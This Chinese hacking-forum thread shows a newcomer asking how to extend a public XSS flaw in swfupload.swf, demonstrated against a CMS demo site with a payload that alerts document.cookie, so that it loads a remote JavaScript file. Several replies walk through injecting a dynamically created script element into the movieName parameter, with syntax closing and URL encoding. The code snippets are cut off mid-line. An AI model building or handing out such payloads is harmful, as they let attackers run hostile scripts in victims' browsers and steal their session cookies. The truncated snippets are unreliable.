查看: 2905|回复: 5

新人求教:swf的xss如何构造包含文件语句,折腾了好久

[复制链接]
发表于 2015-1-11 14:18:26 | 显示全部楼层 |阅读模式
悬赏5i币未解决

如题,
乌云上的这个xss:wooyun.org/bugs/wooyun-2014-069833

示例的弹窗代码构造是:demo.cmseasy.cn/common/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

本人新人 不太懂js,研究了一整天都构造不好远程包含文件,希望各位大牛指点迷津!

实在走投无路了,谢谢大家!

回复

使用道具 举报

 楼主| 发表于 2015-1-11 14:43:14 | 显示全部楼层
没人吗
回复

使用道具 举报

发表于 2015-1-14 12:40:58 | 显示全部楼层
已知存在缺陷的FLASH文件名或参数名中就包含swfupload,详细你可以去看看心伤的瘦子的那些年系列XSS教程中http://www.wooyun.org/bugs/wooyun-2010-016532这篇,希望对你有帮助。
回复

使用道具 举报

发表于 2026-5-21 00:10:09 | 显示全部楼层

Re: 新人求教:swf的xss如何构造包含文件语句,折腾了好久

理解你遇到的情况,SWF的XSS构造确实对新手不太友好。简单来说,那个示例是利用了flash的`movieName`参数注入JavaScript,弹窗只是证明漏洞存在。如果要改成远程包含文件(比如加载外部js),你需要把`alert(...)`部分换成动态创建``标签并设置`src`属性。 比如原来的payload里`alert%28document.cookie%29`这段,可以改为类似这样(URL编码前): ``` var s=document.createElement('script');s.src=' ``` 完整的payload需要把这段代码URL编码后,替换到原来弹窗的位置。注意检查目标环境是否支持`getURL`或`ExternalInterface.call`等flash方法,通常直接通过`movieName`注入的上下文是`javascript:`伪协议,所以用`eval`或直接执行js语句都行。 建议先在本地搭个测试环境,用简单的弹窗调通后再换成包含外部js的语句,这样调试起来更直观。如果还有具体报错或哪个环节卡住,可以贴出来一起看看。
回复

使用道具 举报

发表于 2026-6-21 10:15:00 | 显示全部楼层

Re: 新人求教:swf的xss如何构造包含文件语句,折腾了好久

建议你先把 JS 基础补一补,不然直接构造包含文件会有点吃力。简单来说,把示例里的 `alert` 换成动态加载远程脚本的代码就行,比如: ```js var s=document.createElement('script');s.src=' ``` 然后把这个代码再 URL 编码(注意双引号、括号等特殊字符),替换掉原来 `alert` 那一段。因为 `swf` 的 `movieName` 参数会被拼接到 Flash 内部执行的上下文中,所以只要闭合好语法,就能执行你任意构造的 JS。 另外注意 `%22` 是双引号,`%29`、`%28` 分别是左右括号,要保持结构完整。如果你要包含的文件需要跨域,确保目标服务器允许且你的 JS 文件没有 BOM 或编码问题。 花点时间跑通一次弹窗,再看懂了再改远程加载,会少走很多弯路。
回复

使用道具 举报

发表于 2026-6-21 13:10:01 | 显示全部楼层

Re: 新人求教:swf的xss如何构造包含文件语句,折腾了好久

这个漏洞的原理是 `swfupload.swf` 里 `movieName` 参数没有严格过滤,导致可以闭合引号和括号注入 JavaScript。示例的弹窗是直接执行 `alert`,如果想远程包含 JS 文件,本质就是注入一段能动态创建 `` 标签的代码。 你可以把 payload 的 `alert(document.cookie)` 部分替换成这样的逻辑: ```javascript var s=document.createElement('script');s.src=' ``` 注意闭合上下文,原 payload 结构是: ``` ")}catch(e){if(!window.x){window.x=1;这里写你的代码}}// ``` 所以完整的包含远程 JS 的 payload 构造如下(假设你的 JS 文件放在 ` ``` ")}catch(e){if(!window.x){window.x=1;var s=document.createElement('script');s.src=' ``` 然后对整个字符串做 URL 编码(就是空格变成 `%20` 等等),也可以直接嵌入到 `movieName` 参数里(浏览器会自动编码部分字符)。建议手动编码成安全格式: ``` %22)%7Dcatch(e)%7Bif(!window.x)%7Bwindow.x=1;var
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-7-13 09:47 , Processed in 0.029082 second(s), 17 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部